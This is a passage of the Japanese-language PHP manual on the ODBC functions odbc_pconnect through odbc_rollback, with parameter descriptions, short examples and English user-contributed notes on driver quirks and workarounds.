この関数は odbc_connect() に非常に似ていますが、 スクリプトが終了した時に接続が閉じられないという点が異なります。 同じ dsn、user、 password の組み合わせ （odbc_connect() および odbc_pconnect() による）接続の場合は、 持続的な接続を再利用することが可能です。

パラメータ

詳細は odbc_connect() を参照ください。

返り値

ODBC 接続 ID を返します。 失敗した場合に false を返します

注意

注意: 持続的な接続は、PHP を CGI プログラムとして使用する場合には使用できません。

参考

  • odbc_connect() - データソースに接続する
  • 持続的データベース接続

User Contributed Notes

alberici at to dot infn dot it 15-Jul-2002 04:42
I saw that closing an ODBC persistent connection opened with odbc_pconnect() with odbc_close() doesnt work. Someone here have proposed using odbc_close_all() but wouldnt that close all persistent connections (also others ones !!!) ? What about catching a persistent handle with odbc_connect() and then closing the connection with odbc_close() ? If there are no available handles (for some reason the last pconn has been closed) this approach opens and close a normal single-script connection. Waiting comments...
j_schrab at execpc dot com 16-Jan-2001 09:41
Ok, learning time.  As I was told by the PHP-DevTeam...

Multiple connections are supported, but when you try to connect with exactly the same parameters, an existing
connection will be reused, leading to the behaviour you see.

You can simply omit the calls to odbc_close() since
connections get closed on script termination anyway or better:
Consider making your connection id a global variable or pass
it to your functions.
wls at wwco dot com 11-Aug-2000 07:44
I found that using  odbc_close($odbchandle)  on a connection opened by odbc_pconnect() causes a warning "not a valid ODBC-Link resource".  So you can't just change odbc_connect() to odbc_pconnect() and expect things to work without warning messages.  However, you can use odbc_close_all() and not get a warning.
etsai at email dot com 28-Jun-2000 09:10
The following constants are defined for cursortype:
 - SQL_CUR_USE_IF_NEEDED
 - SQL_CUR_USE_ODBC
 - SQL_CUR_USE_DRIVER
 - SQL_CUR_DEFAULT

With some ODBC drivers, executing a complex stored procedure may fail with an error similar to: "Cannot open a cursor on a stored procedure that has anything other than a single select statement in it". Using SQL_CUR_USE_ODBC may avoid that error. Also, some drivers don't support the optional row_number parameter in odbc_fetch_row(). SQL_CUR_USE_ODBC might help in that case, too.


実行用に文を準備する

  • ≪ odbc_pconnect
  • odbc_primarykeys ≫
  • PHP Manual
  • ODBC 関数
  • 実行用に文を準備する

odbc_prepare

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_prepare — 実行用に文を準備する

説明

odbc_prepare ( resource $odbc , string $query ) : resource|false

実行用に文を準備します。 結果 ID は、この後 odbc_execute() で命令を実行する際に使用することができます。

(IBM DB2、MS SQL Server および Oracle のように) ストアドプロシージャが利用可能で、ODBC 仕様で定義されている IN、INOUT および OUT が利用できるものもあります。 しかし、Unified ODBC ドライバでは現在 IN 型のパラメータしかサポートしていません。

パラメータ

odbc

ODBC 接続 ID。詳細は odbc_connect() を参照ください。

query

準備するクエリ文字列。

返り値

SQL コマンドの準備に成功した場合は、ODBC 結果 ID を返します。 エラー時には、false を返します。

例

例1 odbc_execute() および odbc_prepare() の例

次のコードは、myproc の 3 つのパラメータがすべて IN パラメータである場合にのみ $success が true となります。

<?php
$a = 1;
$b = 2;
$c = 3;
$stmt    = odbc_prepare($conn, 'CALL myproc(?,?,?)');
$success = odbc_execute($stmt, array($a, $b, $c));
?>

INOUT や OUT パラメータを用いるストアドプロシージャをコールしたい場合は、 各データベース専用の拡張モジュール (たとえば Oracle なら oci8) を使うようにしましょう。

参考

  • odbc_execute() - プリペアドステートメントを実行する

User Contributed Notes

lzsiga at freemail dot c3 dot hu 24-Apr-2019 08:22
The resource returned by odbc_prepare can be freed with odbc_free_result.
bslorence 07-Dec-2006 01:50
Is it just me or is the code above misleading? It makes it look like odbc_execute() returns a resource suitable, say, for passing to one of the odbc_fetch_* functions.

In fact, odbc_execute() returns a boolean, which simply indicates success (TRUE) or failure (FALSE). The variable to pass to odbc_fetch_* is the same one that you pass to odbc_execute():

<?php
$res = odbc_prepare($db_conn, $query_string);
if(!$res) die("could not prepare statement ".$query_string);

if(odbc_execute($res, $parameters)) {
    $row = odbc_fetch_array($res);
} else {
    // handle error
}
?>
Marek 16-Dec-2004 12:59
Use this example for IBM DB/2:

$q = "update TABLE set PASS=? where NAME=?";
$res = odbc_prepare ($con, $q);

$a = "secret"; $b="user";
$exc = odbc_execute($res, array($a, $b));


テーブルの主キーを取得する

  • ≪ odbc_prepare
  • odbc_procedurecolumns ≫
  • PHP Manual
  • ODBC 関数
  • テーブルの主キーを取得する

odbc_primarykeys

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_primarykeys — テーブルの主キーを取得する

説明

odbc_primarykeys ( resource $odbc , string|null $catalog , string $schema , string $table ) : resource|false

テーブルの主キーを有するカラムの名前を取得する際に使用可能な結果 ID を返します。

パラメータ

odbc

ODBC 接続 ID。詳細は odbc_connect() を参照ください。

catalog

カタログ(ODBC 2 の用語では '修飾子')。

schema

スキーマ (ODBC 2 の用語では '所有者')。

table

返り値

ODBC 結果 ID を返します。失敗した場合に false を返します。

結果は以下のカラムを有します。

  • TABLE_CAT
  • TABLE_SCHEM
  • TABLE_NAME
  • COLUMN_NAME
  • KEY_SEQ
  • PK_NAME
ドライバは追加のカラムを返すことが出来ます。

結果セットは TABLE_CAT, TABLE_SCHEM, TABLE_NAME, KEY_SEQ でソートされます。

例

例1 プライマリーキーの一覧を表示する

<?php
$conn = odbc_connect($dsn, $user, $pass);
$primarykeys = odbc_primarykeys($conn, 'TutorialDB', 'dbo', 'TEST');
while (($row = odbc_fetch_array($primarykeys))) {
    print_r($row);
    break; // further rows omitted for brevity
}
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [TABLE_CAT] => TutorialDB
    [TABLE_SCHEM] => dbo
    [TABLE_NAME] => TEST
    [COLUMN_NAME] => id
    [KEY_SEQ] => 1
    [PK_NAME] => PK__TEST__3213E83FE141F843
)

参考

  • odbc_tables() - 指定したデータソースに保存されたテーブルの名前のリストを取得する
  • odbc_foreignkeys() - 外部キーのリストを取得する

User Contributed Notes

ewilde aht bsmdevelopment dawt com 11-Jul-2006 03:39
I was trying to find the primary keys from an SQLServer database through the ODBC interface.  Funnily enough, the odbc_primarykeys function doesn't work with SQLServer (at least not my implementation of it).  Fortunately, the sp_keys query is passed through and the answer returned.  This code works (providing you know which database you're dealing with, which is a whole 'nother story).

// If this is SQLServer, we need to do a special operation to get the
// primary keys.
//
// Looks like the implementers of the ODBC interface just blew this
// one off, since the database has a query to return the info and the
// info even comes back with the same column names.
if ($DBType == "SQLServer")
  $KeySel = odbc_exec($DBConn, "sp_pkeys ".$TableName);

// Otherwise, ask the database through ODBC for the primary key
// names.
else $KeySel = odbc_primarykeys($DBConn, $DatabaseName,
  $DatabaseUser, $TableName);

while ($KeySel && ($KeyRec = odbc_fetch_array($KeySel)))
  $KeyCol[$KeyRec["KEY_SEQ"]] = $KeyRec["COLUMN_NAME"];
dan dot scott at ca dot ibm dot com 20-Dec-2004 07:51
Responding to devendra_joshi:

In DB2 Universal Database for Linux, UNIX, and Windows the catalog views are accessed through the SYSCAT schema, not the SYSIBM schema -- so you should be issuing "SELECT * FROM SYSCAT.KEYCOLUSE" to list all of the columns that participate in a given key constraint.

A complete list of the catalog views for DB2 can be referenced at http://publib.boulder.ibm.com/infocenter/db2help/ by searching for 'catalog views' and selecting the top hit.
Rio Bautista (RRIT) 20-Feb-2004 08:08
Sample to get the primary keys of an MSSQL table:

$cn = odbc_connect( "DSN", "sa", "pwd");

$rs = odbc_primarykeys( $cn, "database", "dbo", "table_name");

odbc_result_all($rs);
devendra_joshi at hotmail dot com 11-Jul-2003 02:52
I want a list of primary keys of a table in db2

by using
'select * from SYSIBM.SYSKEYCOLUSE ' query i am getting the result on CLP
but when i am writing it in PHP as follows it returns 0 ROWS.

$mstmt="select * from SYSIBM.SYSKEYCOLUSE";
$b=odbc_exec($conn,$mstmt);
echo odbc_result_all($b);

where as  if we write this code

$mstmt="select * from SYSIBM.SYSFUNCTIONS";
$b=odbc_exec($conn,$mstmt);
echo odbc_result_all($b);

it returns the correct data.


プロシージャへのパラメータに関する情報を取得する

  • ≪ odbc_primarykeys
  • odbc_procedures ≫
  • PHP Manual
  • ODBC 関数
  • プロシージャへのパラメータに関する情報を取得する

odbc_procedurecolumns

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_procedurecolumns — プロシージャへのパラメータに関する情報を取得する

説明

odbc_procedurecolumns ( resource $odbc , string|null $catalog = null , string|null $schema = null , string|null $procedure = null , string|null $column = null ) : resource|false

プロシージャへのパラメータに関する情報を取得します。

パラメータ

odbc

ODBC 接続 ID。詳細は odbc_connect() を参照ください。

catalog

カタログ(ODBC 2 の用語では '修飾子')。

schema

スキーマ (ODBC 2 の用語では '所有者')。 このパラメータには以下の検索パターンを使用できます。 % はゼロ個以上の文字にマッチし、 _ はひとつの文字にマッチします。

procedure

プロシージャ。 このパラメータには以下の検索パターンを使用できます。 % はゼロ個以上の文字にマッチし、 _ はひとつの文字にマッチします。

column

カラム。 このパラメータには以下の検索パターンを使用できます。 % はゼロ個以上の文字にマッチし、 _ はひとつの文字にマッチします。

返り値

指定したプロシージャに関して入出力パラメータのリストとその結果を構成するカラムを返します。 ODBC 結果 ID を返します。失敗した場合に false を返します。

結果セットのカラムは次のようになります。

  • PROCEDURE_CAT
  • PROCEDURE_SCHEM
  • PROCEDURE_NAME
  • COLUMN_NAME
  • COLUMN_TYPE
  • DATA_TYPE
  • TYPE_NAME
  • COLUMN_SIZE
  • BUFFER_LENGTH
  • DECIMAL_DIGITS
  • NUM_PREC_RADIX
  • NULLABLE
  • REMARKS
  • COLUMN_DEF
  • SQL_DATA_TYPE
  • SQL_DATETIME_SUB
  • CHAR_OCTET_LENGTH
  • ORDINAL_POSITION
  • IS_NULLABLE
ドライバは追加のカラムを返すことが出来ます。

結果セットは PROCEDURE_CAT, PROCEDURE_SCHEM, PROCEDURE_NAME, COLUMN_TYPE でソートされます。

変更履歴

バージョン | 説明
8.0.0 | これより前のバージョンでは、 この関数は引数をひとつ、または5個指定した場合のみ、呼び出すことが可能でした。

例

例1 プロシージャーのカラムを表示する

<?php
$conn = odbc_connect($dsn, $user, $pass);
$columns = odbc_procedurecolumns($conn, 'TutorialDB', 'dbo', 'GetEmployeeSalesYTD;1', '%');
while (($row = odbc_fetch_array($columns))) {
    print_r($row);
    break; // further rows omitted for brevity
}
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [PROCEDURE_CAT] => TutorialDB
    [PROCEDURE_SCHEM] => dbo
    [PROCEDURE_NAME] => GetEmployeeSalesYTD;1
    [COLUMN_NAME] => @SalesPerson
    [COLUMN_TYPE] => 1
    [DATA_TYPE] => -9
    [TYPE_NAME] => nvarchar
    [COLUMN_SIZE] => 50
    [BUFFER_LENGTH] => 100
    [DECIMAL_DIGITS] =>
    [NUM_PREC_RADIX] =>
    [NULLABLE] => 1
    [REMARKS] =>
    [COLUMN_DEF] =>
    [SQL_DATA_TYPE] => -9
    [SQL_DATETIME_SUB] =>
    [CHAR_OCTET_LENGTH] => 100
    [ORDINAL_POSITION] => 1
    [IS_NULLABLE] => YES
)

参考

  • odbc_columns() - 指定したテーブルにあるカラム名のリストを取得する

User Contributed Notes

There are no user contributed notes for this page.


指定したデータソースに保存されているプロシージャのリストを取得する

  • ≪ odbc_procedurecolumns
  • odbc_result_all ≫
  • PHP Manual
  • ODBC 関数
  • 指定したデータソースに保存されているプロシージャのリストを取得する

odbc_procedures

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_procedures — 指定したデータソースに保存されているプロシージャのリストを取得する

説明

odbc_procedures ( resource $odbc , string|null $catalog = null , string|null $schema = null , string|null $procedure = null ) : resource|false

指定した範囲の全てのプロシージャのリストを取得します。

パラメータ

odbc

ODBC 接続 ID。詳細は odbc_connect() を参照ください。

catalog

カタログ(ODBC 2 の用語では '修飾子')。

schema

スキーマ (ODBC 2 の用語では '所有者')。 このパラメータには以下の検索パターンを使用できます。 % はゼロ個以上の文字にマッチし、 _ はひとつの文字にマッチします。

procedure

名前。 このパラメータには以下の検索パターンを使用できます。 % はゼロ個以上の文字にマッチし、 _ はひとつの文字にマッチします。

返り値

情報を含む ODBC 結果 ID を返します。 失敗した場合に false を返します。

結果セットのカラムは次のようになります。

  • PROCEDURE_CAT
  • PROCEDURE_SCHEM
  • PROCEDURE_NAME
  • NUM_INPUT_PARAMS
  • NUM_OUTPUT_PARAMS
  • NUM_RESULT_SETS
  • REMARKS
  • PROCEDURE_TYPE
ドライバは追加のカラムを返すことが出来ます。

結果セットは PROCEDURE_CAT, PROCEDURE_SCHEMA, PROCEDURE_NAME でソートされます。

変更履歴

バージョン | 説明
8.0.0 | これより前のバージョンでは、 この関数は引数をひとつ、または4個指定した場合のみ、呼び出すことが可能でした。

例

例1 データベースのプロシージャ一覧を表示する

<?php
$conn = odbc_connect($dsn, $user, $pass);
$procedures = odbc_procedures($conn, $catalog, $schema, '%');
while (($row = odbc_fetch_array($procedures))) {
    print_r($row);
    break; // further rows omitted for brevity
}
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [PROCEDURE_CAT] => TutorialDB
    [PROCEDURE_SCHEM] => dbo
    [PROCEDURE_NAME] => GetEmployeeSalesYTD;1
    [NUM_INPUT_PARAMS] => -1
    [NUM_OUTPUT_PARAMS] => -1
    [NUM_RESULT_SETS] => -1
    [REMARKS] =>
    [PROCEDURE_TYPE] => 2
)

参考

  • odbc_procedurecolumns() - プロシージャへのパラメータに関する情報を取得する
  • odbc_tables() - 指定したデータソースに保存されたテーブルの名前のリストを取得する

User Contributed Notes

There are no user contributed notes for this page.


HTML テーブルとして結果を出力する

  • ≪ odbc_procedures
  • odbc_result ≫
  • PHP Manual
  • ODBC 関数
  • HTML テーブルとして結果を出力する

odbc_result_all

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_result_all — HTML テーブルとして結果を出力する

説明

odbc_result_all ( resource $statement , string $format = "" ) : int|false

odbc_exec() により作成された結果 ID から全ての行を出力します。結果は、HTML テーブル形式で出力されます。 データはエスケープされません。

この関数は、本番環境で使うことを想定していません。 つまり、開発中に結果セットを素早く描画させるためだけに使うものだということです。

パラメータ

statement

結果 ID。

format

テーブルのフォーマット指定。

返り値

成功の場合に結果の行数、エラーの場合に false を返します。

User Contributed Notes

alvaro at demogracia dot com 30-Apr-2009 02:26
The $format parameter is an optional string that gets inserted in the <table> tag. The string is printed as-is. E.g.:

<?php
odbc_result_all($res, 'id="users" class="listing"');
?>

... prints:

<table id="users" class="listing" >...
ZAPtheZAPs dot schulze dot zap at zap dot telstra dot com 02-May-2004 02:12
a revised version marius' code that works with Memo fields. (also returns rather than prints strings)

function ODBCResourceToHTML($res, $sTable, $sRow)
{$cFields = odbc_num_fields($res);
 $strTable = "<table $sTable ><tr>";
 for ($n=1; $n<=$cFields; $n++)
   {$strTable .= "<td $sRow><b>". str_replace("_", " ", odbc_field_name($res, $n)) . "</b></td>";}
   $strTable .= "</tr>";
   while(odbc_fetch_row($res))
   { $strTable .= "<tr>";
      for ($n=1; $n<=$cFields; $n++)
             {$cell = odbc_result($res, $n);
    if ($cell=='') {$strTable .= "<td $sRow>&nbsp;</td>";}
             else {$strTable .= "<td $sRow>". $cell . "</td>";}}
     $strTable .= "</tr>";}
 $strTable .= "</table>";
 Return $strTable;}

DEAR MODERATORS: you would save yourselve much much time by making this entire manual into a wiki (ie like http://en.wikipedia.org ) and within a year this would be the best manual on anything!!

best wishes, Erich
marius at stones dot com 24-Jun-2003 10:21
I've written this little function that functions simirarly to odbc_result_all, but works with MySQL:

/**
 * This function emulates the odbc_result_all function, which will return a HTML table cosisting of
 * the results of an SQL query.
 * Usage: pass a mysql result set to this function, and it will return (not output) a string containing
 * an HTML table
 * Parameters:
 * - $result is your mysql result set (result of a mysql_query() function call)
 * - $tableFeatures is a string containing any HTML TABLE features you would like in the table
 *   (eg. BORDER="0" etc.)
 */
function _mysql_result_all($result, $tableFeatures="") {
  $table .= "<!--Debugging output for SQL query-->\n\n";
  $table .= "<table $tableFeatures>\n\n";
  $noFields = mysql_num_fields($result);
  $table .= "<tr>\n";
  for ($i = 0; $i < $noFields; $i++) {
    $field = mysql_field_name($result, $i);
    $table .= "\t<th>$field</th>\n";
  }
  while ($r = mysql_fetch_row($result)) {
    $table .= "<tr>\n";
    foreach ($r as $kolonne) {
      $table .= "\t<td>$kolonne</td>\n";
    }
    $table .= "</tr>\n";
  }
  $table .= "</table>\n\n";
  $table .= "<!--End debug from SQL query-->\n\n";
  return $table;
}

Enjoy...
rabbott at calstatela dot edu 15-Aug-2000 05:46
odbc_result_all($result) cycles through
$result. So a subsequent call to odbc_fetch_row($result) will fail.
You must use odbc_fetch_row($result, 1)
to reset $result.  (But when I do that,
I get a crash!)
martin dot vgagern at gmx dot net 25-Mar-2000 01:49
As some people stated in the ODBC overview, some buggy drivers always return the number of rows to be -1. AFAIK the only way to help this situation is to count the rows by calls to odbc_fetch_into or odbc_fetch_row and then build the table yourself.


結果データを得る

  • ≪ odbc_result_all
  • odbc_rollback ≫
  • PHP Manual
  • ODBC 関数
  • 結果データを得る

odbc_result

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_result — 結果データを得る

説明

odbc_result ( resource $statement , string|int $field ) : string|bool|null

結果データを取得します。

パラメータ

statement

ODBC リソース。

field

取得するフィールド。 カラム番号を表す整数またはフィールド名を表す文字列のどちらを指定できます。

返り値

フィールドの内容を表す文字列を返します。エラー時には false、NULL データの場合は null、そしてバイナリデータの場合は true を返します。

例

最初の odbc_result() コールにより、クエリー結果の 現在のレコードにおける 3 番目のフィールドの値が返されます。 2 番目の odbc_result() コールにより、クエリーの 結果の現在のレコードにおける "val" というフィールド名のフィールドの 値を返します。あるフィールドのカラム番号パラメータが 1 より小さいか 現在のレコードのカラム(またはフィールド)の数を超える場合、 エラーを生じます。同様に、クエリーを行ったテーブルのフィールド名には ない名前をフィールドとして指定した場合にもエラーを生じます。

例1 odbc_result() の例

<?php
$item_3   = odbc_result($Query_ID, 3);
$item_val = odbc_result($Query_ID, "val");
?>

注意

フィールドインデックスは 1 から始まります。 バイナリまたはロングカラムデータの返し方に関しては、 odbc_binmode() および odbc_longreadlen() を参照ください。

User Contributed Notes

cgray at develop4 dot us 17-Apr-2012 09:10
FYI: odbc_result contains the following values: TABLE_QUALIFIER    TABLE_OWNER    TABLE_NAME    COLUMN_NAME    DATA_TYPE    TYPE_NAME    PRECISION    LENGTH    SCALE    RADIX    NULLABLE    REMARKS    COLUMN_FLAGS

I wrote the following to dump these values onto the page. I needed this to determine if the data-type for a column was something specific (eg: blob) to show a different result, instead of the actual contents.

        $connection_string = 'OPTIM_BLOB';
        $user = '';
        $pass = '';
        if (!($connect = odbc_pconnect($connection_string, $user, $pass))) {

        } else {
            echo 'Connecting to DSN, loading tables<br /><br />';
            $result = odbc_tables($myconn);
            $tables = array();
            while (odbc_fetch_row($result)){
                if(odbc_result($result,"TABLE_TYPE")=="TABLE") {
                    $TableName = odbc_result($result,"TABLE_NAME");
                    echo '<span id="tableName">Table: '.$TableName.'</span> ....<br /><br /> ';
                    //--------- Show Columns in that table ---------------
                    $result2 = odbc_columns($myconn, '', "%", $TableName, "%");  //db connection, DB name, schema, table name, column_name);

                    while(odbc_fetch_row($result2)){
                        //TABLE_QUALIFIER    TABLE_OWNER    TABLE_NAME    COLUMN_NAME    DATA_TYPE    TYPE_NAME    PRECISION    LENGTH    SCALE    RADIX    NULLABLE    REMARKS    COLUMN_FLAGS

                        $COLUMN_NAME = odbc_result($result2, 4); // COLUMN_NAME
                        $DataType = odbc_result($result2, 6);
                        echo '<b>Column name: '.$COLUMN_NAME.'</b> Type: '.$DataType.'<br /><br />';

                        // everything
                        echo '1: '.odbc_result($result2, 1).'<br />';    // TABLE_QUALIFIER
                        echo '2: '.odbc_result($result2, 2).'<br />';    // TABLE_OWNER
                        echo '3: '.odbc_result($result2, 3).'<br />';    // TABLE_NAME
                        echo '4: '.odbc_result($result2, 4).'<br />';    // COLUMN_NAME
                        echo '5: '.odbc_result($result2, 5).'<br />';    // DATA_TYPE (Number)
                        echo '6: '.odbc_result($result2, 6).'<br />';    // TYPE_NAME (String)
                        echo '7: '.odbc_result($result2, 7).'<br />';    // PRECISION
                        echo '8: '.odbc_result($result2, 8).'<br />';    // LENGTH
                        echo '9: '.odbc_result($result2, 9).'<br />';    // SCALE
                        echo '10: '.odbc_result($result2, 10).'<br />';    // RADIX
                        echo '11: '.odbc_result($result2, 11).'<br />';    // NULLABLE
                        echo '12: '.odbc_result($result2, 12).'<br />';    // REMARKS
                        echo '13: '.odbc_result($result2, 13).'<br />';    // COLUMN_FLAGS
                        echo '<br /><br />';
                    }
                }
            }
        }
lucas at bizzfone dot nl 30-Oct-2009 03:24
The odbc_result() function has an apparently little known feature that comes in very handy when retrieving large text or binary fields.
Consider this code snippet to retrieve a large value into a temporary file (error testing left out for clarity):

<?php
$con=odbc_connect(...);
$query="set textsize 2147483647 ".
       "select someLargeField from ...";
$resultset=odbc_exec($con,$query);
odbc_binmode($resultset,ODBC_BINMODE_RETURN);
odbc_longreadlen($resultset,4096);
while (odbc_fetch_row($resultset)) {
   $fileHandle=fopen('/tmp/myfile','wb');
   while (($chunk=odbc_result($resultset,'someLargeField'))!==false) {
      fwrite($fileHandle,$chunk);
   }
   fclose($fileHandle);
   //do something with the file
}
?>

There are a few key points to make it work:
- Make sure to include "set textsize 2147483647 " in your query.
  Without it, MSSQL truncates large values to 4096 bytes by default.
  Other databases may have a similar small limit.
- The odbc_binmode() and odbc_longreadlen() calls are just for safety.
  Their defaults in php.ini are usually correct.
- Each odbc_result() call on a large field apparently returns the next chunk.
  Of course you have to read all chunks before the next odbc_fetch_row() call.
- When all of the large value has been read, odbc_result() will return false.

Note: Using mssql_ instead of odbc_ functions is not a viable alternative. They don't work with chunks (AFAIK) and even crash php (overflow, segmentation fault) when the query result contains a large value.
baoshenyi at hotmail dot com 17-Mar-2005 10:51
I use one store procedure to retrieve value of identifier, other, name, section,data and datecreated coulmns to variable from SQL server table

using $odbc_result = odbc_exec($connect,$query); function.

After that, I using following code,
for($f=1;$f<=odbc_num_fields($odbc_result);$f++) {echo "<td style=\"font-weight:bold\">$f ".odbc_field_name($odbc_result,$f)."</td>";}
echo "</tr></table>";
odbc_fetch_row($odbc_result);
echo odbc_result($odbc_result,1)."<br>";
echo odbc_result($odbc_result,2)."<br>";
echo odbc_result($odbc_result,3)."<br>";
echo odbc_result($odbc_result,4)."<br>";
echo odbc_result($odbc_result,5)."<br>";
echo odbc_result($odbc_result,6)."<br>";

The result is as following,
1 identifier 2 other 3 name 4 section 5 data 6 datecreated
id1
other2
name3
section4
Warning: odbc_result() [function.odbc-result]: SQL error: [Microsoft][ODBC SQL Server Driver]Invalid Descriptor Index, SQL state S1002 in SQLGetData in d:\lawdepot_test\contracts\common\LicensingSQL.php on line 630
2005-03-16 18:12:00

I can not get "data"(Text column) back. Firstly, I think "data" column is too long for odbc_result($odbc_result,5) function, but after I check my old colde, I found I can get the "data" back using same function odbc_result().

I would like to hear any suggestions from you. Depressed on this question.

Michael
vlad dot posea at mymail dot ro 02-May-2003 04:22
i use odbc and mysql and i noticed after losing a lot of time that if you write something like this:
echo odbc_result($result,1);
....
echo odbc_result($result,1);
the second echo will fail. so it's more useful to save the result of odbc_result in a variable and use it later
like that: $var=odbc_result($result,1);
i hope this will be useful!
22-Jan-2003 06:43
From http://www.php.net/manual/en/function.odbc-longreadlen.php but relevant here, also.

An alternative is to adjust your php.ini file and set:
odbc.defaultlrl=65536
Or something else sufficiently large.
lrl = long read length

to get around the limit on returned chars.
fate at doityourself dot com 20-Jan-2003 09:14
if you want to quickly change a website from odbc- to mysql-data-access, you could use a simple function like this one:
function myresult ($cur,$nr) {
   return mysql_result($cur,0,mysql_field_name($cur,$nr-1));
}
and just do a global replace from "odbc_result" to "myresult".

beware, you should only use this if you don't care too much about performance, as this will start a query for every field you request - the better way is of course using mysql_fetch_row!
murat at nospam dot robcol dot k12 dot tr 15-Jul-2002 02:44
When trying to get a date/time field from an Access database, odbc_result returns the date as text (e.g. 1998-07-11 21:12:23). You may use strtotime function to convert this into a format which can be used with PHP.

e.g.
echo "The date is "
 .date("r",strtotime(odbc_result($myquery,"mydate")));
huevo dot SP at M dot earthling dot net 31-Jul-2001 03:46
With an Access 2K database, odbc_result will only work the first time it is called on a memo field (odbc_field_type returns 'LONGCHAR').

$good = odbc_result($result,'Description');
# $good holds the field value
$fail = odbc_result($result,'Description');
# $fail holds false

This tripped me up when I did something like this:

for ($i=1; $i<=odbc_num_fields($result); $i++) {
  if(odbc_result($result,$i)){
    ... more code ...
    echo odbc_result($result,$i);
    ... snip ...
  }
}

For any field type except memo, this code works perfectly.  But on memo fields, odbc_result returns false on the second call and nothing is echoed.

Be careful, use a temporary variable instead of multiple calls to odbc_result.  (It's good programming practice anyway)

for (...) {
  $temp = odbc_result($result,$i);
  if($temp){
    ...
    echo $temp;
    ...
  }
}
user at frosch dot org 30-May-2001 08:55
Hopefully useful note on accessing TEXT fields on Windows, using PHP's ODBC support to access Sybase*. With the following code:

"SELECT status AS projstatus,oid AS projident,LOWER(title) AS projtitel,startsOn AS projanfang,terminatesOn AS projende,description AS projinfo FROM Project ORDER BY projtitel ASC"

I was getting a strange error:

  Warning: SQL error: [INTERSOLV][ODBC SQL Server driver][SQL Server]Invalid column name 'projanfang'. , SQL state S0022 in SQLGetData in [**scriptname and path removed**] on line 126

even though I was clearly selecting a field as 'projanfang'. The reason I worked out eventually is that Sybase/ODBC attempts to do a conversion on the TEXT field 'description', which fails since the limit for CONVERT is 255 characters, and TEXT is a field type with a  2 GB limit. I am not sure why it doesn't work implicitly, but it does explicitly. The following code will work without errors:

  "SELECT status AS projstatus,oid AS projident,LOWER(title) AS projtitel,startsOn AS projanfang,terminatesOn AS projende,CONVERT(CHAR(255),description) AS projinfo FROM Project ORDER BY projtitel ASC"

What you do if you have a need for more than 255 characters of your text field, I do not know :(. I have also tried longreadlen, but I couldn't work out how it could be used.

* System details: Windows NT 4.0 SP6a, IIS 4.0, Sybase 11.5 Adaptive Enteprise, PHP 4.0.5.
nomail at nomail dot nomail 04-Dec-2000 05:00
Problem: Function returns a max of 4095 bytes of a cell with one call.

Tip: If you have a cell containing more than 4095 bytes, write a loop and call the cell over and over as long return is not "". All returns can be added up to the whole string.
dac at felspar dot com 27-Oct-2000 07:43
FWIW, ADO and similar ODBC-using interfaces also cannot distinguish between A.id and B.id. The easy solution is aliasing in SQL:

Consider a table "A" consisting only of the column "id". Next, consider the following query:

SELECT * FROM A JOIN B ON A.id=B.id

With ODBC, you'd be forced to use the numerical index, rather than the name. However, you could rewrite the query, too:

SELECT A.id AS A_id, B.id AS B_id FROM A JOIN B ON A.id=B.id

This can be better on three counts:

Firstly, unless you really want everything in the result set, it might be faster. SQL servers can be faster with "*", but often the networking will benefit from less data (Or a smaller tuple width, if you're into database jargon).

Secondly, since you're forced into thinking about what you want out of the query, you'll probably write better SQL as a result.

Thirdly, if you change the query - or tables - slightly, you don't have to revisit all your code to cope with the change.

Aplogies for stating the obvious, and having no imagination with my examples.
dinin at fas dot harvard dot edu 21-Jul-2000 09:35
Here's a limitation that isn't mentioned anywhere (that I could see) and gave me a rather large headache for a couple of hours trying to figure out why my database wasn't initializing correctly.
If you are trying to retrieve a large collection of fields from a database, be aware that odbc_result may only return up to 33 result columns.  Any more than that, and it generates a "result out of range" warning in your script.
(I tried adjusting to have 32 fields, with the same bug.) It generates an error "Warning: Field index is larger than the number of fields inyour-script.php on line 70" ANY time you try to retrieve the last field of a sufficiently large record. What worked for me was just to write the last column twice... that way, the query has 34 fields, but the last two are the same. You know it'll crash if you ask for #34, but just use ODBC_result(current_query, 33) and you won't have a problem. Good luck

-D
dave at quiver dot com 14-Jul-2000 12:44
If I use and MS Access 2000 database with fields of type memo, I get:
"Warning: SQL error: [Microsoft][ODBC Driver Manager] Invalid cursor state, SQL state 24000 in SQLGetData in D:\Inetpub\wwwroot\xxx\xxx.php on line XxX." If I change to type "text," everything's cool.
jniels23 at csc dot com 24-Mar-1999 08:31
Beware if you have fields with the same name in a result

<?php
$res = odbc_exec($conn,"select * from PeopleMR,People,Role,Organisation".
" WHERE PeopleMR.MeetingID = $MeetingID" .
" ORDER BY People.Surname");
?>

I have the field "Name" from both TABLE Role and TABLE Organisation, as for MySQL you would do :

<?php
mysql_result($res,$count,"Role.Name");
mysql_result($res,$count,"Organisation.Name");
?>

but with odbc you do :

<?php odbc_result($res,$count,"Name"); ?>

this gives you the result of TABLE Role "Name" so you have to find the Field Number for the Organisation"Name" to have the correct result.


トランザクションをロールバックする

  • ≪ odbc_result
  • odbc_setoption ≫
  • PHP Manual
  • ODBC 関数
  • トランザクションをロールバックする

odbc_rollback

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_rollback — トランザクションをロールバックする

説明

odbc_rollback ( resource $odbc ) : bool

この接続における全ての未解決の命令をロールバックします。

パラメータ

odbc

ODBC 接続 ID。詳細は odbc_connect() を参照ください。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

Daniel 04-Sep-2014 10:06
Check the Spanish translation! Roll back is not 'Reanudar', is almost the opposite. A better word could be 'Deshacer'.


ODBC の設定を変更する

  • ≪ odbc_rollback
  • odbc_specialcolumns ≫
  • PHP Manual
  • ODBC 関数
  • ODBC の設定を変更する

odbc_setoption

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_setoption — ODBC の設定を変更する

説明

odbc_setoption ( resource $odbc , int $which , int $option , int $value ) : bool

